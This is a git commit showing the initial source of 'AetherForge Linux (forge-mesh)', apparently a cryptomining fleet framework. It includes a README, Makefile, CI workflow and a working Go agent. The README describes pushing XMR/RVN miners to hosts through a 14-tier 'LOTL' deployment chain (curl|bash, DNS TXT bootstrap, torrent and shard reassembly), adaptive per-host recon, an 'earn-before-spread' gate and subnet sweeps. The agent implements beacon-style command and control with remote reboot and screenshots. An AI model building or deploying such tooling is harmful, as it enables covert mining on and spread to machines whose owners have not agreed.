Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled

This commit is contained in:
drjones
2026-07-04 09:31:23 +00:00
commit 3678b199d0
154 changed files with 21714 additions and 0 deletions

37
.github/workflows/test.yml vendored Normal file
View File

@@ -0,0 +1,37 @@
name: Test
on:
push:
branches: [main, master]
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: "1.22"
cache-dependency-path: go.sum
- uses: actions/setup-node@v4
with:
node-version: "20"
cache: npm
cache-dependency-path: web/package-lock.json
- name: Install build deps (SQLite CGO)
run: sudo apt-get update && sudo apt-get install -y gcc libsqlite3-dev netcat-openbsd
- name: Run CI test harness
run: chmod +x scripts/*.sh && ./scripts/ci-test.sh
- name: Upload e2e artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-logs
path: /tmp/forge-mesh-e2e*
if-no-files-found: ignore

25
.gitignore vendored Normal file
View File

@@ -0,0 +1,25 @@
# Binaries
bin/
dist/
# Runtime data
data/forge-mesh.db
data/forge-mesh.db-shm
data/forge-mesh.db-wal
data/signing.key
data/cloudflared-token.txt
data/artifacts/
# Frontend deps & build output
web/node_modules/
web/dist/
web/tsconfig.app.tsbuildinfo
web/tsconfig.node.tsbuildinfo
# Go build cache
*.test
*.out
# OS
.DS_Store
Thumbs.db

54
Makefile Normal file
View File

@@ -0,0 +1,54 @@
.PHONY: server agent forge run tidy build test test-frontend all web-deck deck install-agent
GO := /opt/go/bin/go
export GOROOT := /opt/go
export PATH := /opt/go/bin:$(PATH)
BINARY := bin/forge-mesh-server
AGENT := bin/forge-mesh-agent
FORGE := bin/forge-mesh-forge
CONFIG := data/config.json
web-deck:
cd web && npm install && npm run build
./scripts/sync-webroot.sh
deck: web-deck server
server:
@mkdir -p bin
$(GO) build -o $(BINARY) ./cmd/server
agent:
@mkdir -p bin
$(GO) build -o $(AGENT) ./cmd/agent
forge:
@mkdir -p bin
$(GO) build -o $(FORGE) ./cmd/forge
all: server agent forge
install-agent: agent
sudo mkdir -p /opt/forge-mesh
sudo install -m 0755 $(AGENT) /opt/forge-mesh/agent
@echo "Installed dev agent to /opt/forge-mesh/agent"
@echo "Run: FORGE_MESH_FLEET_SECRET=change-me-fleet-secret /opt/forge-mesh/agent -deck-url http://127.0.0.1:8989"
run: server
./$(BINARY) -config $(CONFIG)
tidy:
$(GO) mod tidy
build:
$(GO) build ./...
test:
$(GO) test ./...
test-frontend:
cd web && npm run test
e2e:
./scripts/e2e-test.sh

538
README.md Normal file
View File

@@ -0,0 +1,538 @@
# AetherForge Linux (forge-mesh)
Self-hosted Linux control plane for fleets of enrolled machines. Single Go binary with an embedded React frontend, stratum mining proxy, 14-tier deployment chain, and optional AI-assisted remediation court.
---
## Table of Contents
- [Architecture](#architecture)
- [Components](#components)
- [Prerequisites](#prerequisites)
- [Quick Start](#quick-start)
- [Portable USB Deck](#portable-usb-deck)
- [Configuration](#configuration)
- [Building](#building)
- [Installing Agents](#installing-agents)
- [Command Deck (Web UI)](#command-deck-web-ui)
- [API Reference](#api-reference)
- [14-Tier Deployment Chain](#14-tier-deployment-chain)
- [Mining & Stratum Proxy](#mining--stratum-proxy)
- [Singular Machine Court](#singular-machine-court)
- [Alerts (Telegram)](#alerts-telegram)
- [Networking](#networking)
- [systemd Deployment](#systemd-deployment)
- [Testing](#testing)
- [Environment Variables](#environment-variables)
- [Known Limits](#known-limits)
- [Security Notes](#security-notes)
- [Project Layout](#project-layout)
---
## Architecture
```
┌─────────────────────────────────────────────┐
│ forge-mesh-server │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ React SPA │ │ REST / WS API │ │
│ │ (embedded) │◄──│ /api/v1/... │ │
│ └──────────────┘ └────────┬─────────┘ │
│ ┌───────────┐ ┌──────────┐ │ ┌──────────┐ │
│ │ SQLite │ │ Fleet │ │ │ Stratum │ │
│ │ Store │ │ Hub │ │ │ Proxy │ │
│ └───────────┘ └──────────┘ │ └──────────┘ │
└─────────────────────────────┼───────────────┘
│ WebSocket / HTTP
┌──────────────────┼──────────────┐
│ forge-mesh-agent (per host) │
│ ┌───────────┐ ┌────────────┐ │
│ │ Mining │ │ Tier / │ │
│ │ Chain │ │ Beacon │ │
│ └───────────┘ └────────────┘ │
└─────────────────────────────────┘
```
**Server** — serves the embedded SPA, REST+WebSocket API, SQLite state, stratum proxy, and optional AI court.
**Agent** — persistent WebSocket to the deck (falls back to HTTP beacon), tiered mining chain, handles `pause`/`resume`/`reboot`/`screenshot`/`mining_profile` commands, polls for signed self-updates.
---
## Components
| Binary | Purpose |
|--------|---------|
| `forge-mesh-server` | Control plane: API, web UI, SQLite, stratum proxy, court |
| `forge-mesh-agent` | Per-host agent: mining chain, WebSocket heartbeat, command handler |
| `forge-mesh-forge` | CLI: cross-compile and sign agent binaries, record in DB |
---
## Prerequisites
**Required**
| Requirement | Notes |
|-------------|-------|
| Go 1.22+ | `make` targets use `/opt/go/bin/go`; override with `GO=` |
| gcc / build-essential | CGO required for `go-sqlite3` |
| Node.js + npm | Only needed to rebuild the Command Deck frontend |
**Optional** (feature-gated)
| Tool | Feature |
|------|---------|
| `xmrig` | Native CPU miner (simulated fallback if absent) |
| `lolMiner` / `rigel` | GPU mining (KawPoW / RVN) |
| `podman` or `docker` | OCI mining tier (T4, T10) |
| `nix` | Nix flake deploy tier (T11) |
| `wg` / `wireguard-tools` | WireGuard mesh tier (T9) |
| `cloudflared` | Cloudflare tunnel sidecar |
| Ollama / OpenAI-compat API | AI court deliberation |
| `grim`, `scrot`, or `import` | Screenshot command |
---
## Quick Start
```bash
git clone <repo> && cd aetherforge-linux
make all # build server + agent + forge CLI
$EDITOR data/config.json # set credentials and wallet
make run # → http://localhost:8989
```
Default login: `admin` / `changeme` (change before exposing to any network).
---
## Portable USB Deck
```bash
# Pack (from repo root after building)
./scripts/pack-usb.sh
# Deploy
tar -xzf dist/forge-mesh-portable-*.tar.gz && cd forge-mesh-portable-*
$EDITOR data/config.json # change credentials & wallet
./LAUNCH.sh
```
`LAUNCH.sh` checks for a Cloudflare tunnel token, starts `cloudflared` as a sidecar if found, starts `forge-mesh-server`, and opens the deck in your browser.
```bash
AF_NO_BROWSER=1 ./LAUNCH.sh # headless / SSH
```
---
## Configuration
`data/config.json`:
```json
{
"listen_addr": ":8989",
"data_dir": "./data",
"database_path": "./data/forge-mesh.db",
"operator_clearance": 4,
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "change-me-fleet-secret"
},
"wallet_policy": {
"default_wallet": "<XMR wallet address>",
"currency": "XMR"
},
"stratum": {
"xmr_listen": ":3333",
"rvn_listen": ":3388",
"upstream_xmr": "pool.supportxmr.com:3333",
"upstream_rvn": "stratum-ravencoin.flypool.org:3333"
},
"forge": {
"signing_key_path": "./data/signing.key",
"artifacts_dir": "./data/artifacts"
},
"court": { "ollama_url": "http://127.0.0.1:11434", "enabled": false },
"telegram": { "enabled": false, "bot_token": "", "chat_id": "" }
}
```
| Key | Description |
|-----|-------------|
| `listen_addr` | HTTP server bind address |
| `operator_clearance` | L0–L4; gates privileged actions |
| `auth.fleet_secret` | Shared secret agents use for Bearer auth |
| `wallet_policy.default_wallet` | Fallback mining wallet address |
| `stratum.*` | Local proxy ports and upstream pool addresses |
| `forge.signing_key_path` | ed25519 key used to sign agent builds |
| `court.ollama_url` | Ollama base URL (requires `court.enabled: true`) |
| `telegram.*` | Bot token + chat ID for fleet event alerts |
---
## Building
```bash
make server # → bin/forge-mesh-server
make agent # → bin/forge-mesh-agent
make forge # → bin/forge-mesh-forge
make all # build all three
make web-deck # npm install + build React SPA, sync into webroot
make deck # web-deck + server
make build # go build ./... (type-check only)
make tidy # go mod tidy
```
**Forge CLI** — cross-compile and sign agent artifacts:
```bash
# Build linux/amd64 + linux/arm64, sign ed25519, record in DB
./bin/forge-mesh-forge build --config data/config.json --version 1.2.0
# Print signing public key (pass to agents via -pubkey or FORGE_MESH_PUBKEY)
./bin/forge-mesh-forge pubkey --config data/config.json
```
Signed builds are served at `/api/v1/public/builds` and `/api/v1/public/download/{id}`.
---
## Installing Agents
**One-liner summon:**
```bash
curl -fsSL http://<deck-host>:8989/install.sh | sudo bash
```
The script is rendered from `scripts/install.sh.tpl` with fleet secret, deck URL, and signing public key injected at runtime.
**Manual / systemd:**
```bash
sudo mkdir -p /opt/forge-mesh
sudo install -m 0755 bin/forge-mesh-agent /opt/forge-mesh/agent
sudo tee /etc/forge-mesh/agent.env <<EOF
FORGE_DECK_URL=http://<deck-host>:8989
FORGE_FLEET_SECRET=<your-fleet-secret>
FORGE_PUBKEY=<ed25519-pubkey-hex>
EOF
sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/
sudo systemctl enable --now forge-mesh-agent
```
**Agent flags:**
| Flag | Env | Description |
|------|-----|-------------|
| `-deck-url` | `FORGE_MESH_DECK_URL` | Deck base URL |
| `-secret` | `FORGE_MESH_FLEET_SECRET` | Fleet bearer secret |
| `-pubkey` | `FORGE_MESH_PUBKEY` | ed25519 public key for signed self-update |
| `-host-id` | — | Stable host ID (persisted to data dir) |
| `-stratum-host` | — | Stratum proxy host (default `127.0.0.1`) |
| `-wallet` | `FORGE_WALLET` | Fallback wallet when no server profile |
| `-data-dir` | — | Agent state dir (default `/opt/forge-mesh` or `~/.forge-mesh`) |
---
## Command Deck (Web UI)
Develop locally:
```bash
cd web && npm install && npm run dev # proxies /api → http://localhost:8989
```
| Route | Description |
|-------|-------------|
| `/login` | HTTP Basic login (credentials in `sessionStorage`) |
| `/dashboard` | Fleet host cards, real-time hashrate, tier badges, WS health |
| `/forge` | Trigger cross-compiled agent builds |
| `/calibrate` | Mining profile policy editor — push profiles to fleet |
| `/crucible` | Batch terminal — dispatch commands to enrolled hosts |
| `/seer` | SSE event stream — live audit log of fleet and court events |
---
## API Reference
Protected endpoints require HTTP Basic auth. Agent endpoints use `Authorization: Bearer <fleet-secret>`.
### Public
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/v1/health` | Version + health check |
| `GET` | `/install.sh` | Rendered agent install script |
| `GET` | `/api/v1/public/builds` | List public builds |
| `GET` | `/api/v1/public/builds/latest` | Latest public build |
| `GET` | `/api/v1/public/download/{id}` | Download a signed artifact |
### Agent (fleet secret)
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/v1/fleet/register` | Register host, returns `host_id` |
| `POST` | `/api/v1/fleet/beacon` | HTTP fallback heartbeat |
| `GET` | `/api/v1/ws/fleet` | WebSocket: heartbeat + command delivery |
### Protected (operator)
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/v1/fleet` | List all enrolled hosts |
| `POST` | `/api/v1/fleet/{id}/command` | Dispatch a command |
| `POST` | `/api/v1/fleet/{id}/mining-profile` | Push a mining profile |
| `GET` | `/api/v1/fleet/{id}/lotl/timeline` | LOTL tier attempt history |
| `POST` | `/api/v1/fleet/{id}/lotl/run` | Trigger adaptive tier run |
| `GET` | `/api/v1/fleet/{id}/spread-gate` | Earn-before-spread gate status |
| `GET/PUT` | `/api/v1/policy/wallet` | Get / update wallet policy |
| `GET/PUT` | `/api/v1/policy/mining-profile` | Get / set global mining profile |
| `POST` | `/api/v1/policy/snapshot` | Create shareable policy snapshot token |
| `GET` | `/api/v1/forge/builds` | List all recorded builds |
| `POST` | `/api/v1/forge/builds/trigger` | Trigger build pipeline |
| `POST` | `/api/v1/crucible/dispatch` | Dispatch batch terminal command |
| `GET` | `/api/v1/crucible/history` | Crucible command history |
| `GET` | `/api/v1/seer` | SSE stream of seer events |
| `POST` | `/api/v1/court/sessions` | Open a court session |
| `POST` | `/api/v1/court/sessions/{id}/deliberate` | Run prosecutor/defender/judge |
| `POST` | `/api/v1/court/sessions/{id}/verdict` | Dispatch final verdict |
| `GET/POST` | `/api/v1/wireguard/peers` | List or add WireGuard peers |
| `GET` | `/api/v1/wireguard/config` | Render WireGuard config |
---
## 14-Tier Deployment Chain
Sequential fallback chain. Each tier is gated by environment recon and a patch-first check. The Atlas skip system learns which tiers fail per host phenotype and skips them on retry.
| # | Type | Description |
|---|------|-------------|
| T1 | `ssh_key` | SSH key-based push |
| T2 | `curl_bash` | `curl \| bash` summon |
| T3 | `ansible_pull` | Ansible pull from control repo |
| T4 | `podman_rootless` | Rootless Podman container |
| T5 | `systemd_transient` | `systemd-run` transient unit |
| T6 | `snap_flatpak` | Snap or Flatpak package |
| T7 | `lan_cache_peer` | LAN peer cache distribution |
| T8 | `dns_txt` | DNS TXT record bootstrap |
| T9 | `mtls_wireguard` | mTLS mesh join over WireGuard |
| T10 | `immutable_oci` | Immutable OCI image (Docker/Podman) |
| T11 | `nix_flake` | Nix flake derivation |
| T12 | `erasure_reassembly` | Reed-Solomon erasure-coded shard reassembly |
| T13 | `fleet_torrent` | Fleet-seeded torrent distribution |
| T14 | `offline_contingency` | Offline/USB bundle fallback |
The adaptive engine reorders tiers by historical success rate per phenotype on subsequent runs.
---
## Mining & Stratum Proxy
Built-in stratum TCP proxy relays agent miner connections to upstream pools. Miners are tried in priority order; first success becomes active.
| Miner | Algo | Notes |
|-------|------|-------|
| `xmrig` | RandomX (XMR) | Native binary; simulated fallback if absent |
| GPU (lolMiner/Rigel) | KawPoW (RVN) | Requires `nvidia-smi` or `rocm-smi` |
| OCI (podman/docker) | RandomX | Pulls `xmrig/xmrig` via Podman |
| Stratum (raw TCP) | XMR / KawPoW | Validates deck proxy path |
If no miner binary is found, a mock miner keeps the chain alive with simulated hashrate. GPU tiers require proprietary drivers installed separately.
---
## Singular Machine Court
Optional AI-assisted triage for stuck or failing hosts. Requires `court.enabled: true` and a running [Ollama](https://ollama.ai) instance (or any OpenAI-compatible API).
1. **Open** — `POST /api/v1/court/sessions` starts a case for a host.
2. **Deliberate** — gathers LOTL tier evidence and runs three `llama3.2` prompts:
- **Prosecutor**: argues for aggressive remediation.
- **Defender**: argues for conservative retry.
- **Judge**: synthesises a concise operational verdict.
3. **Verdict** — L4 clearance operator approves; supported actions:
- `retry_adaptive_tiers` — re-runs the deploy chain with adaptive ordering.
- `pause_host` — marks the host paused.
All transcripts and verdicts persist in SQLite and emit as Seer events. Without Ollama, court runs in stub mode with placeholder responses.
---
## Alerts (Telegram)
```json
"telegram": { "enabled": true, "bot_token": "TOKEN", "chat_id": "CHAT_ID" }
```
Fires on fleet commands dispatched, court verdicts, and significant fleet events.
---
## Networking
### Cloudflare Tunnel
`cloudflared` runs as an external sidecar (not in-process). Provide a token and `LAUNCH.sh` handles the rest:
```bash
echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt
./LAUNCH.sh
```
Or set `AF_TUNNEL_TOKEN` in the environment. `LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`.
### WireGuard Mesh (operator-managed)
AetherForge does **not** auto-provision WireGuard. Configure it yourself:
```bash
apt install wireguard wireguard-tools
wg genkey | tee data/wg-private.key | wg pubkey > data/wg-public.key
```
`/etc/wireguard/forge-mesh.conf`:
```ini
[Interface]
PrivateKey = <deck-private-key>
Address = 10.66.0.1/24
ListenPort = 51820
[Peer]
PublicKey = <agent-public-key>
AllowedIPs = 10.66.0.2/32
```
```bash
sudo systemctl enable --now wg-quick@forge-mesh
```
Point agents at the deck WireGuard IP: `FORGE_MESH_DECK_URL=http://10.66.0.1:8989`. Peer records are managed via `/api/v1/wireguard/peers`.
---
## systemd Deployment
```bash
# Control plane
sudo cp deploy/systemd/forge-mesh-server.service /etc/systemd/system/
sudo mkdir -p /opt/forge-mesh && sudo cp -r bin/ data/ /opt/forge-mesh/
sudo systemctl enable --now forge-mesh-server
# Agent (on enrolled hosts)
sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/
sudo tee /etc/forge-mesh/agent.env <<EOF
FORGE_DECK_URL=http://<deck-ip>:8989
FORGE_FLEET_SECRET=<fleet-secret>
FORGE_PUBKEY=<pubkey-hex>
EOF
sudo systemctl enable --now forge-mesh-agent
```
Server working directory: `/opt/forge-mesh`. Config: `/opt/forge-mesh/data/config.json`.
---
## Testing
```bash
# Backend
make test # or: go test ./...
# Frontend
cd web && npm install
npm run test # run once
npm run test:watch # watch mode
npm run test:coverage # V8 coverage
# From repo root
make test-frontend
# End-to-end
make e2e # or: ./scripts/e2e-test.sh
```
See [`docs/TESTING.md`](docs/TESTING.md) for MSW handlers, mock WebSocket/EventSource, and how to write new tests.
---
## Environment Variables
| Variable | Scope | Description |
|----------|-------|-------------|
| `FORGE_MESH_DECK_URL` | Agent | Deck base URL |
| `FORGE_MESH_FLEET_SECRET` | Agent | Fleet bearer secret |
| `FORGE_MESH_PUBKEY` | Agent | ed25519 public key hex for signed self-update |
| `FORGE_WALLET` | Agent | Fallback mining wallet |
| `AF_TUNNEL_TOKEN` | Launcher | Cloudflare tunnel token (overrides file) |
| `AF_TUNNEL_EXTERNAL` | Launcher | Set to `1` automatically when sidecar starts |
| `AF_NO_BROWSER` | Launcher | Skip opening a browser |
| `AF_CONFIG` | Launcher | Override config path |
| `AF_DATA_DIR` | Launcher | Data directory path |
| `AF_SERVER_BIN` | Launcher | Path to `forge-mesh-server` binary |
| `AF_DECK_URL` | Launcher | Browser URL (default `http://localhost:8989`) |
---
## Known Limits
See [`docs/PROBLEMS.md`](docs/PROBLEMS.md) for the full list.
- **No worm-style LAN spread.** Enrolled-only; gated by earn-before-burn phenotype check.
- **WireGuard is operator-managed.** No auto-provisioning of keys, configs, or NAT traversal.
- **GPU tiers need drivers pre-installed.** The summon installer does not install GPU stacks.
- **Court requires an LLM you operate.** No bundled model.
- **SQLite is single-node.** Multi-deck HA and Postgres are out of scope.
- **Signature verify is dev-grade.** Dev builds may skip verification with a warning.
- **USB copies are not hardened live media.** Rotate all secrets before production use.
---
## Security Notes
- Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck.
- Do not commit `data/signing.key`, `data/cloudflared-token.txt`, or `data/forge-mesh.db`.
- L0–L4 clearance gates are policy-enforced, not cryptographic. Compromised deck credentials bypass all gates.
- USB copies carry your fleet secret — treat the device like a key.
- Subnet sweeps (`/api/v1/fleet/subnets/sweep`) only probe operator-declared CIDRs.
---
## Project Layout
```
aetherforge-linux/
├── cmd/
│ ├── agent/ # forge-mesh-agent binary
│ ├── forge/ # forge CLI (build/sign artifacts)
│ └── server/ # forge-mesh-server + embedded webroot
├── internal/
│ ├── alerts/ # Telegram notifier
│ ├── api/ # HTTP server, router, handlers, WS hub
│ ├── auth/ # Basic auth, fleet secret middleware, ticket store
│ ├── config/ # Config loader
│ ├── court/ # Singular Machine Court + Seer event hub
│ ├── db/ # SQLite open/migrate
│ ├── erasure/ # Reed-Solomon erasure coding (T12)
│ ├── fleet/ # Host store, fleet hub, tier chain, recon, atlas
│ ├── forge/ # Build pipeline, key pair, artifact signing
│ ├── mining/ # Mining chain, tier implementations, mock miner
│ ├── policy/ # Mining profile policy
│ ├── stratum/ # TCP stratum proxy (XMR + RVN)
│ └── testutil/ # Shared test helpers
├── web/ # React + Vite + Tailwind Command Deck
├── deploy/systemd/ # systemd unit files
├── scripts/ # LAUNCH.sh, pack-usb.sh, test runners, install template
├── data/ # Runtime data (config, SQLite, signing key, artifacts)
├── docs/ # TESTING.md, PROBLEMS.md
├── dist/ # Packed portable tarballs
└── Makefile
```

0
cmd/agent/.gitkeep Normal file
View File

462
cmd/agent/main.go Normal file
View File

@@ -0,0 +1,462 @@
package main
import (
"bytes"
"context"
"encoding/json"
"flag"
"log"
"net/http"
"os"
"os/exec"
"os/signal"
"path/filepath"
"runtime"
"strings"
"sync"
"syscall"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/mining"
"forge-mesh/internal/policy"
"github.com/gorilla/websocket"
)
const agentVersion = "0.1.0-dev"
func main() {
deckURL := flag.String("deck-url", "", "deck base URL (alias: -deck, -server)")
deck := flag.String("deck", "", "deck base URL")
server := flag.String("server", "", "deck base URL (deprecated alias)")
secret := flag.String("secret", "", "fleet bearer secret")
pubKey := flag.String("pubkey", "", "ed25519 public key hex for signed self-update")
hostID := flag.String("host-id", "", "stable host id (optional, persisted under data dir)")
stratumHost := flag.String("stratum-host", "127.0.0.1", "stratum proxy host")
wallet := flag.String("wallet", "", "fallback wallet when no server profile")
dataDir := flag.String("data-dir", defaultDataDir(), "agent state directory")
flag.Parse()
baseURL := coalesceEnv(
*deckURL, *deck, *server,
os.Getenv("FORGE_MESH_DECK_URL"),
os.Getenv("FORGE_DECK_URL"),
"http://127.0.0.1:8989",
)
baseURL = strings.TrimRight(baseURL, "/")
*secret = coalesceEnv(*secret, os.Getenv("FORGE_MESH_FLEET_SECRET"), os.Getenv("FORGE_FLEET_SECRET"))
if *secret == "" {
log.Fatal("fleet secret required (-secret, FORGE_MESH_FLEET_SECRET, or FORGE_FLEET_SECRET)")
}
*pubKey = coalesceEnv(*pubKey, os.Getenv("FORGE_MESH_PUBKEY"), os.Getenv("FORGE_PUBKEY"))
hostname, _ := os.Hostname()
if err := os.MkdirAll(*dataDir, 0o755); err != nil {
log.Fatalf("data dir: %v", err)
}
if *hostID == "" {
*hostID = loadHostID(*dataDir)
}
if *hostID == "" {
*hostID = registerHost(baseURL, *secret, hostname)
}
if *hostID != "" {
saveHostID(*dataDir, *hostID)
}
if *wallet == "" {
*wallet = os.Getenv("FORGE_WALLET")
}
profile := policy.DefaultMiningProfile(*wallet)
chainCfg := mining.DefaultChainConfig()
chainCfg.StratumHost = *stratumHost
chainCfg.HostID = *hostID
chain := mining.NewChain(profile, chainCfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
if err := chain.Run(ctx); err != nil && ctx.Err() == nil {
log.Printf("mining chain stopped: %v", err)
}
}()
agent := &Agent{
ctx: ctx,
serverURL: baseURL,
secret: *secret,
hostID: *hostID,
hostname: hostname,
pubKeyHex: *pubKey,
chain: chain,
}
go agent.run(ctx)
go agent.selfUpdateLoop(ctx)
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
<-sig
cancel()
chain.Stop()
wg.Wait()
}
type Agent struct {
ctx context.Context
serverURL string
secret string
hostID string
hostname string
pubKeyHex string
chain *mining.Chain
mu sync.Mutex
conn *websocket.Conn
}
func (a *Agent) run(ctx context.Context) {
backoff := time.Second
for {
select {
case <-ctx.Done():
return
default:
}
if err := a.connect(ctx); err != nil {
log.Printf("agent ws: %v (retry in %s)", err, backoff)
a.beaconFallback()
select {
case <-ctx.Done():
return
case <-time.After(backoff):
}
if backoff < 30*time.Second {
backoff *= 2
}
continue
}
backoff = time.Second
}
}
func (a *Agent) selfUpdateLoop(ctx context.Context) {
if a.pubKeyHex == "" {
return
}
ticker := time.NewTicker(30 * time.Minute)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
a.maybeSelfUpdate(a.pubKeyHex)
}
}
}
func (a *Agent) connect(ctx context.Context) error {
wsURL := strings.Replace(a.serverURL, "http://", "ws://", 1)
wsURL = strings.Replace(wsURL, "https://", "wss://", 1)
wsURL += "/api/v1/ws/fleet?token=" + a.secret
header := http.Header{}
header.Set("Authorization", "Bearer "+a.secret)
dialer := websocket.Dialer{HandshakeTimeout: 10 * time.Second}
conn, _, err := dialer.DialContext(ctx, wsURL, header)
if err != nil {
return err
}
a.mu.Lock()
a.conn = conn
a.mu.Unlock()
defer func() {
a.mu.Lock()
a.conn = nil
a.mu.Unlock()
conn.Close()
}()
log.Printf("agent %s (%s) connected to %s", a.hostname, a.hostID, a.serverURL)
if err := a.sendHeartbeat(); err != nil {
return err
}
hbTicker := time.NewTicker(15 * time.Second)
defer hbTicker.Stop()
for {
select {
case <-ctx.Done():
return ctx.Err()
case <-hbTicker.C:
if err := a.sendHeartbeat(); err != nil {
return err
}
default:
}
_ = conn.SetReadDeadline(time.Now().Add(60 * time.Second))
_, data, err := conn.ReadMessage()
if err != nil {
return err
}
var msg types.WsMessage
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
switch msg.Type {
case "command":
if msg.Command != nil {
a.handleCommand(*msg.Command)
}
case "mining_profile":
if profileRaw, ok := msg.Payload["profile"]; ok {
b, _ := json.Marshal(profileRaw)
var profile types.MiningProfile
if json.Unmarshal(b, &profile) == nil {
a.handleCommand(types.FleetCommand{Action: "mining_profile", Args: map[string]any{"profile": profileRaw}})
}
}
}
}
}
func (a *Agent) sendHeartbeat() error {
st := a.chain.Status()
hb := types.HeartbeatPayload{
HostID: a.hostID,
Hostname: a.hostname,
Arch: runtime.GOARCH,
CurrentTier: st.CurrentTier,
TierType: st.TierType,
TierState: st.TierState,
}
hb.SetHashrateFields(st.HashrateHps)
payload, _ := json.Marshal(map[string]any{
"type": "heartbeat",
"host_id": hb.HostID,
"hostname": hb.Hostname,
"arch": hb.Arch,
"hashrate": hb.Hashrate,
"hashrate_hps": hb.HashrateHps,
"current_tier": hb.CurrentTier,
"tier_type": hb.TierType,
"tier_state": hb.TierState,
})
a.mu.Lock()
conn := a.conn
a.mu.Unlock()
if conn == nil {
return nil
}
return conn.WriteMessage(websocket.TextMessage, payload)
}
func (a *Agent) handleCommand(cmd types.FleetCommand) {
var cmdErr error
switch cmd.Action {
case "mining_profile":
raw, ok := cmd.Args["profile"]
if !ok {
cmdErr = errCommand("missing profile")
break
}
b, _ := json.Marshal(raw)
var profile types.MiningProfile
if err := json.Unmarshal(b, &profile); err != nil {
cmdErr = err
break
}
a.chain.UpdateProfile(profile)
go func() {
if err := a.chain.Run(a.ctx); err != nil && a.ctx.Err() == nil {
log.Printf("mining chain restart: %v", err)
}
}()
log.Printf("agent: mining profile updated wallet=%s tiers=%d", profile.WalletAddress, len(profile.Tiers))
case "pause":
a.chain.Stop()
case "resume":
go func() {
if err := a.chain.Run(a.ctx); err != nil && a.ctx.Err() == nil {
log.Printf("mining chain resume: %v", err)
}
}()
case "reboot":
cmdErr = exec.Command("systemctl", "reboot").Run()
case "screenshot":
cmdErr = a.takeScreenshot()
default:
log.Printf("unknown command: %s", cmd.Action)
cmdErr = errCommand("unknown action")
}
a.sendCommandAck(cmd, cmdErr)
}
func (a *Agent) sendCommandAck(cmd types.FleetCommand, err error) {
ack := map[string]any{
"type": "command_ack",
"command": cmd.Action,
"ok": err == nil,
}
if err != nil {
ack["error"] = err.Error()
}
payload, _ := json.Marshal(ack)
a.mu.Lock()
conn := a.conn
a.mu.Unlock()
if conn == nil {
return
}
_ = conn.WriteMessage(websocket.TextMessage, payload)
}
func (a *Agent) beaconFallback() {
st := a.chain.Status()
hb := types.HeartbeatPayload{
HostID: a.hostID,
Hostname: a.hostname,
Arch: runtime.GOARCH,
CurrentTier: st.CurrentTier,
TierType: st.TierType,
TierState: st.TierState,
}
hb.SetHashrateFields(st.HashrateHps)
body, _ := json.Marshal(hb)
for _, path := range []string{"/api/v1/fleet/beacon", "/api/v1/beacon"} {
req, err := http.NewRequest(http.MethodPost, a.serverURL+path, bytes.NewReader(body))
if err != nil {
continue
}
req.Header.Set("Authorization", "Bearer "+a.secret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
continue
}
if resp.StatusCode != http.StatusOK {
resp.Body.Close()
continue
}
var br types.BeaconResponse
if err := json.NewDecoder(resp.Body).Decode(&br); err != nil {
resp.Body.Close()
continue
}
resp.Body.Close()
for _, cmd := range br.Commands {
a.handleCommand(cmd)
}
return
}
}
func (a *Agent) takeScreenshot() error {
for _, tool := range []string{"grim", "scrot", "import"} {
if _, err := exec.LookPath(tool); err != nil {
continue
}
out := "/tmp/forge-mesh-screenshot.png"
var cmd *exec.Cmd
switch tool {
case "grim":
cmd = exec.Command("grim", out)
case "scrot":
cmd = exec.Command("scrot", out)
default:
cmd = exec.Command("import", "-window", "root", out)
}
if err := cmd.Run(); err == nil {
log.Printf("screenshot saved to %s", out)
return nil
}
}
log.Println("screenshot: no tool available (grim/scrot/import)")
return nil
}
func registerHost(baseURL, secret, hostname string) string {
body, _ := json.Marshal(map[string]string{"hostname": hostname})
req, err := http.NewRequest(http.MethodPost, baseURL+"/api/v1/fleet/register", bytes.NewReader(body))
if err != nil {
return ""
}
req.Header.Set("Authorization", "Bearer "+secret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil || resp.StatusCode != http.StatusOK {
return ""
}
defer resp.Body.Close()
var out struct {
HostID string `json:"host_id"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
return ""
}
return out.HostID
}
func defaultDataDir() string {
if runtime.GOOS == "linux" {
if _, err := os.Stat("/opt/forge-mesh"); err == nil {
return "/opt/forge-mesh"
}
}
home, _ := os.UserHomeDir()
return filepath.Join(home, ".forge-mesh")
}
func hostIDPath(dataDir string) string {
return filepath.Join(dataDir, "host.id")
}
func loadHostID(dataDir string) string {
data, err := os.ReadFile(hostIDPath(dataDir))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveHostID(dataDir, id string) {
_ = os.WriteFile(hostIDPath(dataDir), []byte(id), 0o644)
}
func coalesceEnv(values ...string) string {
for _, v := range values {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
type commandError string
func (e commandError) Error() string { return string(e) }
func errCommand(msg string) error { return commandError(msg) }

View File

@@ -0,0 +1,134 @@
package main
import (
"context"
"net"
"testing"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/mining"
)
func startMockStratum(t *testing.T) (host, port string) {
t.Helper()
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
